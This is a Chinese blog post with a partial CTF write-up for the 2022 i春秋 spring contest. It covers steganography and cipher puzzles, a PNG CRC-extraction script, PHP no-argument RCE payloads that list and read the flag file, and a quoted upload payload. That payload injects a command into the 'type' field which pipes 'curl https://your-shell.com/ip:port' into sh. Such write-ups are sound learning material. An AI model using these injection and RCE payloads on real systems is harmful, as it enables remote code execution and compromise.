2022年i春秋春季赛勇者赛道部分wp

差几名就能拿奖了,还是太菜了

Misc

签到

照着图片弹钢琴就会出现flag

tiger

一个rot47加密,一个lsb隐写加密

之后得到解压密码71zr9H6jnXRHn64WBxMbCzz16saCZWiw

发现好像需要明文攻击来解密码Nh6i@=

二维码存在零宽隐写,这里话有个坑点,直接扫好像是提不出来的,可以写个脚本来提

或者我看wp可以用bcTester来题(GET新点)之后用网站解码就可以

https://yuanfux.github.io/zero-width-web/

接着就是维吉尼亚密码解密

https://www.guballa.de/vigenere-solver

解码得到flag

Capture Radiate Chart

用010打开时就发现异常,有好多IDAT 块,一开始以为是每块有个base64啥的去解密,看完wp发现需要提出来每个块的crc32的最后一位,补上文件头和尾来构成一个压缩包

贴一个脚本


f = open('alien.png', 'rb')
n = 0
s = f.read(1)
ImageHex = ''while s:byte = ord(s)n = n+1s = f.read(1)ImageHex += '%02x' % (byte)
print('\n\ntotal bytes: %d' % n)
f.close()CRCHex = ImageHex .split('49444154')
Result = ''for i in range(len(CRCHex)):Result += CRCHex[i][-10:-8]
print(CRCHex[1][-10:-8])with open('output.txt', 'w') as f:f.write(Result)

Web

Mercy-code

无参rce+条件竞争

直接无参rce会发现过滤了太多函数不可行,必须想另一种方法

解到可以用uniqid加上strrev函数随机取值然后爆破出我们想要的字符

echo(implode(scandir(chr(strrev(uniqid())))));

爆破当前目录

会发现疑似flag文件,提示我们flag在当前目录下面

读取的两种方法

show_source(end(scandir(chr(strrev(uniqid())))));
var_dump(show_source(pos(array_reverse(scandir(chr(ord(hebrev(crypt(time())))))))));

当前目录下访问还是挺简单的,有的题目flag在上级目录,可以看看下面如何构造
https://xz.aliyun.com/t/6737?page=34

picture convert

python写的文件上传,测试了一下,似乎思路就是用session的值来进行命令执行,但在比赛中有点没太看明白利用的具体流程卡在了最后一步。

看完官方题解发现可以控制type值来操控session

贴一个官网解


----WebKitFormBoundary4aWxnEciPGAAwu2N
Content-Disposition: form-data; name="type";
Content-Type: image/png'|| curl https://your-shell.com/ip:port |sh || '
------WebKitFormBoundary4aWxnEciPGAAwu2N
Content-Disposition: form-data; name="file"; filename="1.png"
Content-Type: image/png------WebKitFormBoundary4aWxnEciPGAAwu2N--

开始以为挺难的,其实一看不是这么难,还是太菜了
还是需要学习啊,从wp中学到不少新东西,准备下周学习一下


本文来自互联网用户投稿,文章观点仅代表作者本人,不代表本站立场,不承担相关法律责任。如若转载,请注明出处。 如若内容造成侵权/违法违规/事实不符,请点击【内容举报】进行投诉反馈!

相关文章

立即
投稿

微信公众账号

微信扫一扫加关注

返回
顶部